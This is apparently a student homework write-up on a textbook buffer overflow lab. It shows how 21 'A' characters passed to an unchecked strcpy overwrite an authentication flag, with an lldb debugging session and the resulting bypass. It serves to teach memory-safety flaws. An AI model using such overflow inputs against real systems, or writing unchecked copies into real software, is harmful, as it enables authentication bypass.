HW7 Questions

Task 1)

A white board with writing on it

Description automatically generated

The vulnerability is the line “strcpy(password\_buffer, password);” this line is vulnerable to any password larger than the buffer of 16 bytes. Anything over 16 bytes will which is the buffer will modify the auth-flag value.

Task 2)

After testing the number of “A” needed to provide access granted was 21 or “AAAAAAAAAAAAAAAAAAAAA”

Task 3)

Terminal Output bellow:

Last login: Mon Nov 6 14:24:03 on ttys000

**➜ ~** **git:(main) ✗** cd desktop/csci62code

**➜ csci62code** **git:(main) ✗** gcc -g -fno-stack-protector -o authoverflow auth\_overflow.cpp

**➜ csci62code** **git:(main) ✗** lldb authoverflow

(lldb) target create "authoverflow"

Current executable set to '/Users/Arman/desktop/csci62code/authoverflow' (x86\_64).

(lldb) breakpoint set --file auth\_overflow.cpp --line 9

Breakpoint 1: where = authoverflow`check\_authentication(char\*) + 19 at auth\_overflow.cpp:9:12, address = 0x0000000100003e73

(lldb) breakpoint set --file auth\_overflow.cpp --line 16

Breakpoint 2: where = authoverflow`check\_authentication(char\*) + 96 at auth\_overflow.cpp:16:12, address = 0x0000000100003ec0

(lldb) run AAAAAAAAAAAAAAAAAAAAA

Process 79598 launched: '/Users/Arman/desktop/csci62code/authoverflow' (x86\_64)

Process 79598 stopped

\* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1

frame #0: 0x0000000100003e73 authoverflow`check\_authentication(password="AAAAAAAAAAAAAAAAAAAAA") at auth\_overflow.cpp:9:12

6 int auth\_flag=0;

7 char password\_buffer[16];

8

-> 9 strcpy(password\_buffer, password);

10

11 if (strcmp(password\_buffer, "brilling")==0)

12 auth\_flag = 1;

Target 0: (authoverflow) stopped.

(lldb) frame variable &password\_buffer

(char (\*)[16]) &password\_buffer = 0x00007ff7bfeff400

(lldb) frame variable &auth\_flag

(int \*) &auth\_flag = 0x00007ff7bfeff414

(lldb) memory read --count 16 --format x --size 4 password\_buffer

**error:** invalid start address expression.

**error:** address expression "password\_buffer" resulted in a value whose type can't be converted to an address: char[16]

(lldb) continue

Process 79598 resuming

Process 79598 stopped

\* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 2.1

frame #0: 0x0000000100003ec0 authoverflow`check\_authentication(password="AAAAAAAAAAAAAAAAAAAAA") at auth\_overflow.cpp:16:12

13 if (strcmp(password\_buffer, "outgrabe")==0)

14 auth\_flag=1;

15

-> 16 return auth\_flag;

17 }

18 int main(int argc, char \*argv[]){

19

Target 0: (authoverflow) stopped.

(lldb) frame variable password\_buffer

(char[16]) password\_buffer = "AAAAAAAAAAAAAAAA"

(lldb) frame variable auth\_flag

(int) auth\_flag = 65

(lldb) memory read --format c --size 1 &auth\_flag

0x7ff7bfeff414: A\0\0\0M\xf8\xef\xbf\xf7\x7f\0\0@\xf4\xef\xbf\xf7\x7f\0\0\x12?\0\0\x01\0\0\0\x80\xf6\xef\xbf

0x7ff7bfeff434: \xf7\x7f\0\0\x02\0\0\0\0\0\0\0`\xf6\xef\xbf\xf7\x7f\0\0\xa6sh\n\xf8\x7f\0\0\0\0\0\0

(lldb) memory read --format d --size 4 &auth\_flag

0x7ff7bfeff414: 65

0x7ff7bfeff418: -1074792371

0x7ff7bfeff41c: 32759

0x7ff7bfeff420: -1074793408

0x7ff7bfeff424: 32759

0x7ff7bfeff428: 16146

0x7ff7bfeff42c: 1

0x7ff7bfeff430: -1074792832

(lldb)

In response to questions, the distance of 20 bytes between the password\_buffer and auth\_flag.

When I provided an input string longer than the buffer's size, it overflowed and overwrote the auth\_flag variable. This caused the function to return a value of 1 (or "true"), leading to "Access Granted", even though the correct password was not provided. This behavior showcases the dangers of buffer overflow vulnerabilities.

Task 4)

1. The decimal value of auth\_flag is 65.
2. The program has a buffer overflow vulnerability due to the unchecked strcpy function. By inputting a longer string than the allocated buffer, we overflowed into the auth\_flag memory location, setting its value to the ASCII of 'A' which is 65. This non-zero value caused the program to grant access, bypassing the intended password checks.